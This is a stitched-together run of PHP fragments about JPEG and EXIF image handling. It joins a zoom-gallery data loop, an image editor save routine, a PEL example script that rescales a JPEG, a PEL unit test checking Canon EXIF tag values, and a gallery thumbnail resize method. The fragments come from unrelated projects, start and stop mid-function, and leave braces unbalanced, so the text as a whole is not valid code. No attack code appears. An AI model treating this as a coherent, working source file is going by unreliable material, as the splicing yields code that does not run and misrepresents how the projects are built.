if ((int) $b['w'] && (int) $b['h'] && !file_exists($zoom['config']['thumbDir'] . $this->md5path($v['fileName'], $zoom['config']['subfolderStructure']) . $this->composeFileName($v['fileName'], (int) $b['w'] . 'x' . (int) $b['h'], '_', $this->pngMod($zoom)))) {
$zoom['config']['galArray'][$k]['mf'] = true;
break;
}
}
}
if (isset($v['path'])) {
$zoom['config']['galArray'][$k]['ph'] = $this->checkSlash($v['picPath'], 'add');
}
if ($zoom['config']['gPyramid'] && !$zoom['config']['imgFileOpt']['noMakeGpyramid']) {
if (is_dir($zoom['config']['gPyramidDir'] . $this->md5path($v['fileName'], $zoom['config']['subfolderStructure']) . $this->getf('.', $v['fileName']))) {
$zoom['config']['galArray'][$k]['mk'] = false;
} else {
$zoom['config']['galArray'][$k]['mk'] = 'gP';
}
} elseif ($zoom['config']['pyrTiles'] && !$zoom['config']['imgFileOpt']['noMakeZoomTiles']) {
if ($v['imgSize'][0] < $zoom['config']['tileSize'] && $v['imgSize'][1] < $zoom['config']['tileSize'] || $this->tileExists($zoom, $v['fileName'])) {
$zoom['config']['galArray'][$k]['mk'] = false;
if ($zoom['config']['pyrAutoDetect']) {
$zoom['config']['galArray'][$k]['ts'] = $this->getTileSize($zoom, $v['fileName']);
}
} else {
$zoom['config']['galArray'][$k]['mk'] = 'tL';
}
}
}
$this->readTime['galleryData'] = $this->endTimeDiff($startTime);
}
}
if (isset($pic_list_data[$_GET['zoomID']]['path'])) {
$zoom['config']['pic'] = $this->checkSlash($zoom['config']['pic'] . '/' . $pic_list_data[$_GET['zoomID']]['path'], 'add');
}
}
} else {
unset($_GET['zoomID']);
}
$this->readTime['pyrAutoDetect'] = $zoom['config']['pyrAutoDetect'];
$this->readTime['imgFileOpt'] = $zoom['config']['imgFileOpt'];
return array($zoom, $zoomTmp);
}
public function saveEdit($file, $name, $options = array(), $quality = 100)
{
// Check for request forgeries
WFToken::checkToken() or die('Access to this resource is restricted');
// check for image editor access
if ($this->checkAccess('image_editor', 1) === false) {
JError::raiseError(403, 'Access to this resource is restricted');
}
$browser = $this->getBrowser();
$filesystem = $browser->getFileSystem();
// check file
self::validateImagePath($file);
// clean temp
$this->cleanEditorTmp($file, false);
// check new name
self::validateImagePath($name);
$upload = JRequest::getVar('file', '', 'files', 'array');
// create a filesystem result object
$result = new WFFileSystemResult();
if (isset($upload) && isset($upload['tmp_name']) && is_uploaded_file($upload['tmp_name'])) {
$tmp = $upload['tmp_name'];
self::validateImageFile($tmp);
$exif = null;
// get exif data from orignal file
if (preg_match('#\\.jp(eg|g)$#i', basename($file)) && basename($file) == basename($name)) {
// load exif classes
require_once dirname(__FILE__) . '/pel/PelJpeg.php';
$src = WFUtility::makePath($filesystem->getBaseDir(), $file);
$jpeg = new PelJpeg($src);
$exif = $jpeg->getExif();
}
$result = $filesystem->upload('multipart', trim($tmp), dirname($file), basename($name));
if ($result->state === true && $exif) {
$pel = new PelDataWindow($result->path);
if (PelJpeg::isValid($pel)) {
$jpeg = new PelJpeg();
$jpeg->load($pel);
$jpeg->setExif($exif);
//$jpeg->saveFile($result->path);
// write to file
JFile::write($result->path, $jpeg->getBytes());
}
}
@unlink($tmp);
} else {
// set upload as false - JSON request
$upload = false;
$file = WFUtility::makePath($filesystem->getBaseDir(), $file);
$dest = dirname($file) . '/' . basename($name);
// get extension
$ext = WFUtility::getExtension($dest);
// load image class
require_once dirname(__FILE__) . '/image/image.php';
// create image
$image = new WFImage($file, $this->getParam('prefer_imagick', true));
foreach ($options as $filter) {
if (isset($filter->task)) {
$args = isset($filter->args) ? (array) $filter->args : array();
switch ($filter->task) {
case 'resize':
$w = $args[0];
$h = $args[1];
$image->resize($w, $h);
break;
case 'crop':
$w = $args[0];
$h = $args[1];
$x = $args[2];
$y = $args[3];
$image->crop($w, $h, $x, $y);
break;
case 'rotate':
$image->rotate(array_shift($args));
break;
case 'flip':
$image->flip(array_shift($args));
break;
default:
$image->filter($filter->task, $args);
break;
}
}
}
// get image data
$data = $image->toString($ext);
// write to file
if ($data) {
$result->state = (bool) @JFile::write($dest, $data);
}
// set path
$result->path = $dest;
}
if ($result->state === true) {
// check if its a valid image
if (@getimagesize($result->path) === false) {
JFile::delete($result->path);
throw new InvalidArgumentException('Invalid image file');
} else {
$result->path = str_replace(WFUtility::cleanPath(JPATH_SITE), '', $result->path);
$browser->setResult(WFUtility::cleanPath($result->path, '/'), 'files');
}
} else {
$browser->setResult($result->message || WFText::_('WF_IMGMANAGER_EXT_EDIT_SAVE_ERROR'), 'error');
}
// set header and exit
if ($upload) {
header("Expires: Wed, 4 Apr 1984 13:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M_Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
die(json_encode($browser->getResult()));
}
// return to WFRequest
return $browser->getResult();
}
println(' input the input filename, a JPEG image.');
println(' output filename for saving the changed image.');
println(' scale scale factor, say 0.5 to resize to half the ' . 'original size.');
exit(1);
}
/* The input file is now loaded into a PelJpeg object. */
println('Reading file "%s".', $input);
$input_jpeg = new PelJpeg($input);
/* The input image is already loaded, so we can reuse the bytes stored
* in $input_jpeg when creating the Image resource. */
$original = ImageCreateFromString($input_jpeg->getBytes());
$original_w = ImagesX($original);
$original_h = ImagesY($original);
$scaled_w = $original_w * $scale;
$scaled_h = $original_h * $scale;
/* Now create the scaled image. */
$scaled = ImageCreateTrueColor($scaled_w, $scaled_h);
ImageCopyResampled($scaled, $original, 0, 0, 0, 0, $scaled_w, $scaled_h, $original_w, $original_h);
/* We want the raw JPEG data from $scaled. Luckily, one can create a
* PelJpeg object from an image resource directly: */
$output_jpeg = new PelJpeg($scaled);
/* Retrieve the original Exif data in $jpeg (if any). */
$exif = $input_jpeg->getExif();
/* If no Exif data was present, then $exif is null. */
if ($exif != null) {
$output_jpeg->setExif($exif);
}
/* We can now save the scaled image. */
println('Writing file "%s".', $output);
file_put_contents($output, $output_jpeg->getBytes());
/* The End. */
function testRead()
{
Pel::clearExceptions();
Pel::setStrictParsing(false);
$jpeg = new PelJpeg(dirname(__FILE__) . '/canon-ixus-ii.jpg');
$exif = $jpeg->getExif();
$this->assertIsA($exif, 'PelExif');
$tiff = $exif->getTiff();
$this->assertIsA($tiff, 'PelTiff');
/* The first IFD. */
$ifd0 = $tiff->getIfd();
$this->assertIsA($ifd0, 'PelIfd');
/* Start of IDF $ifd0. */
$this->assertEqual(count($ifd0->getEntries()), 8);
$entry = $ifd0->getEntry(271);
// Make
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'Canon');
$this->assertEqual($entry->getText(), 'Canon');
$entry = $ifd0->getEntry(272);
// Model
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'Canon DIGITAL IXUS II');
$this->assertEqual($entry->getText(), 'Canon DIGITAL IXUS II');
$entry = $ifd0->getEntry(274);
// Orientation
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 6);
$this->assertEqual($entry->getText(), 'right - top');
$entry = $ifd0->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
$this->assertEqual($entry->getText(), '180/1');
$entry = $ifd0->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
$this->assertEqual($entry->getText(), '180/1');
$entry = $ifd0->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
$entry = $ifd0->getEntry(306);
// DateTime
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1089488628);
$this->assertEqual($entry->getText(), '2004:07:10 19:43:48');
$entry = $ifd0->getEntry(531);
// YCbCrPositioning
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'centered');
/* Sub IFDs of $ifd0. */
$this->assertEqual(count($ifd0->getSubIfds()), 1);
$ifd0_0 = $ifd0->getSubIfd(2);
// IFD Exif
$this->assertIsA($ifd0_0, 'PelIfd');
/* Start of IDF $ifd0_0. */
$this->assertEqual(count($ifd0_0->getEntries()), 30);
$entry = $ifd0_0->getEntry(33434);
// ExposureTime
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 1, 1 => 30));
$this->assertEqual($entry->getText(), '1/30 sec.');
$entry = $ifd0_0->getEntry(33437);
// FNumber
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 32, 1 => 10));
$this->assertEqual($entry->getText(), 'f/3.2');
$entry = $ifd0_0->getEntry(36864);
// ExifVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 2.2);
$this->assertEqual($entry->getText(), 'Exif Version 2.2');
$entry = $ifd0_0->getEntry(36867);
// DateTimeOriginal
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1089488628);
$this->assertEqual($entry->getText(), '2004:07:10 19:43:48');
$entry = $ifd0_0->getEntry(36868);
// DateTimeDigitized
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1089488628);
$this->assertEqual($entry->getText(), '2004:07:10 19:43:48');
$entry = $ifd0_0->getEntry(37121);
// ComponentsConfiguration
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'Y Cb Cr -');
$entry = $ifd0_0->getEntry(37122);
// CompressedBitsPerPixel
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 2, 1 => 1));
$this->assertEqual($entry->getText(), '2/1');
$entry = $ifd0_0->getEntry(37377);
// ShutterSpeedValue
$this->assertIsA($entry, 'PelEntrySRational');
$this->assertEqual($entry->getValue(), array(0 => 157, 1 => 32));
$this->assertEqual($entry->getText(), '157/32 sec. (APEX: 5)');
$entry = $ifd0_0->getEntry(37378);
// ApertureValue
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 107, 1 => 32));
$this->assertEqual($entry->getText(), 'f/3.2');
$entry = $ifd0_0->getEntry(37380);
// ExposureBiasValue
$this->assertIsA($entry, 'PelEntrySRational');
$this->assertEqual($entry->getValue(), array(0 => -1, 1 => 3));
$this->assertEqual($entry->getText(), '-0.3');
$entry = $ifd0_0->getEntry(37381);
// MaxApertureValue
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 107, 1 => 32));
$this->assertEqual($entry->getText(), '107/32');
$entry = $ifd0_0->getEntry(37383);
// MeteringMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 5);
$this->assertEqual($entry->getText(), 'Pattern');
$entry = $ifd0_0->getEntry(37385);
// Flash
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 16);
$this->assertEqual($entry->getText(), 'Flash did not fire, compulsory flash mode.');
$entry = $ifd0_0->getEntry(37386);
// FocalLength
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 215, 1 => 32));
$this->assertEqual($entry->getText(), '6.7 mm');
$entry = $ifd0_0->getEntry(37500);
// MakerNote
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '.\\��"� X `�|W �#
"�\\@��Z� j�������D��k���6j��+ ��q*��r��r��r������000IMG:DIGITAL IXUS II JPEGFirmware Version 1.00D ���������@��
��
m���l');
$this->assertEqual($entry->getText(), '590 bytes unknown MakerNote data');
$entry = $ifd0_0->getEntry(37510);
// UserComment
$this->assertIsA($entry, 'PelEntryUserComment');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), '');
$entry = $ifd0_0->getEntry(40960);
// FlashPixVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
$entry = $ifd0_0->getEntry(40961);
// ColorSpace
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'sRGB');
$entry = $ifd0_0->getEntry(40962);
// PixelXDimension
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 640);
$this->assertEqual($entry->getText(), '640');
$entry = $ifd0_0->getEntry(40963);
// PixelYDimension
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 480);
$this->assertEqual($entry->getText(), '480');
$entry = $ifd0_0->getEntry(41486);
// FocalPlaneXResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 640000, 1 => 208));
$this->assertEqual($entry->getText(), '640000/208');
$entry = $ifd0_0->getEntry(41487);
// FocalPlaneYResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 480000, 1 => 156));
$this->assertEqual($entry->getText(), '480000/156');
$entry = $ifd0_0->getEntry(41488);
// FocalPlaneResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
$entry = $ifd0_0->getEntry(41495);
// SensingMethod
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'One-chip color area sensor');
$entry = $ifd0_0->getEntry(41728);
// FileSource
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'DSC');
$entry = $ifd0_0->getEntry(41985);
// CustomRendered
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal process');
$entry = $ifd0_0->getEntry(41986);
// ExposureMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'Manual exposure');
$entry = $ifd0_0->getEntry(41987);
// WhiteBalance
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'Manual white balance');
$entry = $ifd0_0->getEntry(41988);
// DigitalZoomRatio
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 2048, 1 => 2048));
$this->assertEqual($entry->getText(), '2048/2048');
$entry = $ifd0_0->getEntry(41990);
// SceneCaptureType
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Standard');
/* Sub IFDs of $ifd0_0. */
$this->assertEqual(count($ifd0_0->getSubIfds()), 1);
$ifd0_0_0 = $ifd0_0->getSubIfd(4);
// IFD Interoperability
$this->assertIsA($ifd0_0_0, 'PelIfd');
/* Start of IDF $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getEntries()), 4);
$entry = $ifd0_0_0->getEntry(1);
// InteroperabilityIndex
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'R98');
$this->assertEqual($entry->getText(), 'R98');
$entry = $ifd0_0_0->getEntry(2);
// InteroperabilityVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
$entry = $ifd0_0_0->getEntry(4097);
// RelatedImageWidth
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 640);
$this->assertEqual($entry->getText(), '640');
$entry = $ifd0_0_0->getEntry(4098);
// RelatedImageLength
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 480);
$this->assertEqual($entry->getText(), '480');
/* Sub IFDs of $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
$this->assertEqual($ifd0_0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_0_1 = $ifd0_0_0->getNextIfd();
$this->assertNull($ifd0_0_1);
/* End of IFD $ifd0_0_0. */
$this->assertEqual($ifd0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_1 = $ifd0_0->getNextIfd();
$this->assertNull($ifd0_1);
/* End of IFD $ifd0_0. */
$this->assertEqual($ifd0->getThumbnailData(), '');
/* Next IFD. */
$ifd1 = $ifd0->getNextIfd();
$this->assertIsA($ifd1, 'PelIfd');
/* End of IFD $ifd0. */
/* Start of IDF $ifd1. */
$this->assertEqual(count($ifd1->getEntries()), 4);
$entry = $ifd1->getEntry(259);
// Compression
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 6);
$this->assertEqual($entry->getText(), 'JPEG compression');
$entry = $ifd1->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
$this->assertEqual($entry->getText(), '180/1');
$entry = $ifd1->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
$this->assertEqual($entry->getText(), '180/1');
$entry = $ifd1->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
/* Sub IFDs of $ifd1. */
$this->assertEqual(count($ifd1->getSubIfds()), 0);
$thumb_data = file_get_contents(dirname(__FILE__) . '/canon-ixus-ii-thumb.jpg');
$this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
/* Next IFD. */
$ifd2 = $ifd1->getNextIfd();
$this->assertNull($ifd2);
/* End of IFD $ifd1. */
$this->assertTrue(count(Pel::getExceptions()) == 0);
/**
* This method calculates the image and delivers it to the client.
*
* @param $folder
* @param $file
* @param $width
* @param $height
* @param $mode
*/
public function resize($folder, $file, $width = -1, $height = -1, $mode = 'nocrop')
{
$jpeg_orientation_translation = array(1 => 0, 2 => 0, 3 => 180, 4 => 0, 5 => 0, 6 => -90, 7 => 0, 8 => 90);
/**
* @var JApplicationSite $app
*/
$app = JFactory::getApplication();
$params = $app->getParams();
if (strcmp($mode, 'full') == 0) {
$mode = 'nocrop';
$width = COM_EVENTGALLERY_IMAGE_ORIGINAL_MAX_WIDTH;
$height = COM_EVENTGALLERY_IMAGE_ORIGINAL_MAX_WIDTH;
}
if ($height > $width) {
$width = $height;
}
$sizeSet = new EventgalleryHelpersSizeset();
$saveAsSize = $sizeSet->getMatchingSize($width);
$file = STR_REPLACE("\\.\\.", "", $file);
$folder = STR_REPLACE("\\.\\.", "", $folder);
$width = STR_REPLACE("\\.\\.", "", $width);
$mode = STR_REPLACE("\\.\\.", "", $mode);
$file = STR_REPLACE("/", "", $file);
$folder = STR_REPLACE("/", "", $folder);
$width = STR_REPLACE("/", "", $width);
$mode = STR_REPLACE("/", "", $mode);
$file = STR_REPLACE("\\", "", $file);
$folder = STR_REPLACE("\\", "", $folder);
$width = STR_REPLACE("\\", "", $width);
$mode = STR_REPLACE("\\", "", $mode);
$basedir = COM_EVENTGALLERY_IMAGE_FOLDER_PATH;
$sourcedir = $basedir . $folder;
$cachebasedir = COM_EVENTGALLERY_IMAGE_CACHE_PATH;
$cachedir = $cachebasedir . $folder;
$cachedir_thumbs = $cachebasedir . $folder;
if (!is_dir(JPATH_CACHE)) {
//mkdir($cachebasedir, 0777);
mkdir(JPATH_CACHE);
}
if (!is_dir($cachebasedir)) {
//mkdir($cachebasedir, 0777);
mkdir($cachebasedir);
}
if (!is_dir($cachedir)) {
//mkdir($cachedir, 0777);
mkdir($cachedir);
}
if (!is_dir($cachedir_thumbs)) {
//mkdir($cachedir_thumbs, 0777);
mkdir($cachedir_thumbs);
}
$image_file = $sourcedir . DIRECTORY_SEPARATOR . $file;
$image_thumb_file = $cachedir_thumbs . DIRECTORY_SEPARATOR . $mode . $saveAsSize . $file;
//$last_modified = gmdate('D, d M Y H:i:s T', filemtime ($image_file));
$last_modified = gmdate('D, d M Y H:i:s T', mktime(0, 0, 0, 1, 1, 2100));
#echo "<br>".$image_thumb_file."<br>";
$debug = false;
if ($debug || !file_exists($image_thumb_file)) {
$ext = pathinfo($image_file, PATHINFO_EXTENSION);
$input_jpeg = null;
$exif = null;
if (strtolower($ext) == "gif") {
if (!($im_original = imagecreatefromgif($image_file))) {
echo "Error opening {$image_file}!";
exit;
}
} else {
if (strtolower($ext) == "jpg" || strtolower($ext) == "jpeg") {
// try to use PEL first. If things fail, use the php internal method to get the JPEG
try {
$input_jpeg = new PelJpeg($image_file);
/* Retrieve the original Exif data in $jpeg (if any). */
$exif = $input_jpeg->getExif();
/* The input image is already loaded, so we can reuse the bytes stored
* in $input_jpeg when creating the Image resource. */
if (!($im_original = ImageCreateFromString($input_jpeg->getBytes()))) {
echo "Error opening {$image_file}!";
exit;
}
} catch (Exception $e) {
if (!($im_original = imagecreatefromjpeg($image_file))) {
echo "Error opening {$image_file}!";
exit;
}
}
} else {
if (strtolower($ext) == "png") {
if (!($im_original = imagecreatefrompng($image_file))) {
echo "Error opening {$image_file}!";
exit;
}
} else {
die("{$ext} not supported");
}
}
}
if ($params->get('use_autorotate', 1) == 1 && $exif != NULL) {
$tiff = $exif->getTiff();
$ifd0 = $tiff->getIfd();
$orientation = $ifd0->getEntry(PelTag::ORIENTATION);
if ($orientation != null) {
$im_original = imagerotate($im_original, $jpeg_orientation_translation[$orientation->getValue()], 0);
$orientation->setValue(1);
}
}
$orig_width = imagesx($im_original);
$orig_height = imagesy($im_original);
$orig_ratio = imagesx($im_original) / imagesy($im_original);
$sizeCalc = new EventgalleryHelpersSizecalculator($orig_width, $orig_height, $width, strcmp('crop', $mode) == 0);
$height = $sizeCalc->getHeight();
$width = $sizeCalc->getWidth();
//print_r($sizeCalc);
// create canvas/border image
//adjust height to not enlarge images
if ($width > $orig_width) {
$width = $orig_width;
}
if ($height > $orig_height) {
$height = $orig_height;
}
if (strcmp('crop', $mode) != 0) {
$canvasWidth = $width;
$canvasHeight = ceil($width / $orig_ratio);
if ($canvasHeight > $height) {
$canvasHeight = $height;
$canvasWidth = ceil($height * $orig_ratio);
}
$width = $canvasWidth;
$height = $canvasHeight;
} else {
$height = $width;
}
$isOriginalSize = false;
if ($height == $orig_height && $width == $orig_width) {
$isOriginalSize = true;
}
/**
* Do not recalculate the image if we don't need to resize it.
*/
if ($isOriginalSize && $params->get('use_sharpening_for_originalsize', 1) == 0) {
$im_output = $im_original;
} else {
$im_output = imagecreatetruecolor($width, $height);
$resize_faktor = $orig_height / $height;
$new_height = $height;
$new_width = $orig_width / $resize_faktor;
if ($new_width < $width) {
$resize_faktor = $orig_width / $width;
$new_width = $width;
$new_height = $orig_height / $resize_faktor;
}
imagecopyresampled($im_output, $im_original, $width / 2 - $new_width / 2, $height / 2 - $new_height / 2, 0, 0, $new_width, $new_height, $orig_width, $orig_height);
$use_sharpening = $params->get('use_sharpening', 1);
if ($use_sharpening == 1) {
// configure the sharpening
$stringSharpenMatrix = $params->get('image_sharpenMatrix', '[[-1,-1,-1],[-1,16,-1],[-1,-1,-1]]');
$sharpenMatrix = json_decode($stringSharpenMatrix);
if (null == $sharpenMatrix || count($sharpenMatrix) != 3) {
$sharpenMatrix = array(array(-1, -1, -1), array(-1, 16, -1), array(-1, -1, -1));
}
$divisor = array_sum(array_map('array_sum', $sharpenMatrix));
$offset = 0;
if (function_exists('imageconvolution')) {
if (version_compare(phpversion(), '5.5.9', '=')) {
$this->imageconvolution($im_output, $sharpenMatrix, $divisor, $offset);
} else {
imageconvolution($im_output, $sharpenMatrix, $divisor, $offset);
}
}
}
}
/**
* @var EventgalleryLibraryManagerFolder $folderMgr
* @var EventgalleryLibraryFolder $folder
*/
$folderMgr = EventgalleryLibraryManagerFolder::getInstance();
$folder = $folderMgr->getFolder($folder);
$watermark = $folder->getWatermark();
// load default watermark
if (null == $watermark || !$watermark->isPublished()) {
/**
* @var EventgalleryLibraryManagerWatermark $watermarkMgr
* @var EventgalleryLibraryWatermark $watermark
*/
$watermarkMgr = EventgalleryLibraryManagerWatermark::getInstance();
$watermark = $watermarkMgr->getDefaultWatermark();
}
if (null != $watermark && $watermark->isPublished()) {
$watermark->addWatermark($im_output);
}
$image_quality = $params->get('image_quality', 85);
if ($input_jpeg != null) {
Pel::setJPEGQuality($image_quality);
/* We want the raw JPEG data from $scaled. Luckily, one can create a
* PelJpeg object from an image resource directly: */
$output_jpeg = new PelJpeg($im_output);
/* If no Exif data was present, then $exif is null. */
if ($exif != null) {
$output_jpeg->setExif($exif);
}
/* We can now save the scaled image. */
$writeSuccess = true;
$output_jpeg->saveFile($image_thumb_file);
} else {
$writeSuccess = imagejpeg($im_output, $image_thumb_file, $image_quality);
if (!$writeSuccess) {
die("Unable to write to file {$image_thumb_file}");
}
}
if (!$writeSuccess) {
die("Unable to write to file {$image_thumb_file}");
}
$time = time() + 315360000;
touch($image_thumb_file, $time);
// add the ICC profile
try {
$o = new JPEG_ICC();
$o->LoadFromJPEG($image_file);
$o->SaveToJPEG($image_thumb_file);
} catch (Exception $e) {
}
}
$mime = ($mime = getimagesize($image_thumb_file)) ? $mime['mime'] : $mime;
$size = filesize($image_thumb_file);
$fp = fopen($image_thumb_file, "rb");
if (!($mime && $size && $fp)) {
// Error.
return;
}
if (!$debug) {
header("Content-Type: " . $mime);
header("Content-Length: " . $size);
header("Last-Modified: {$last_modified}");
}
fpassthru($fp);
die;
//$app->close();
}
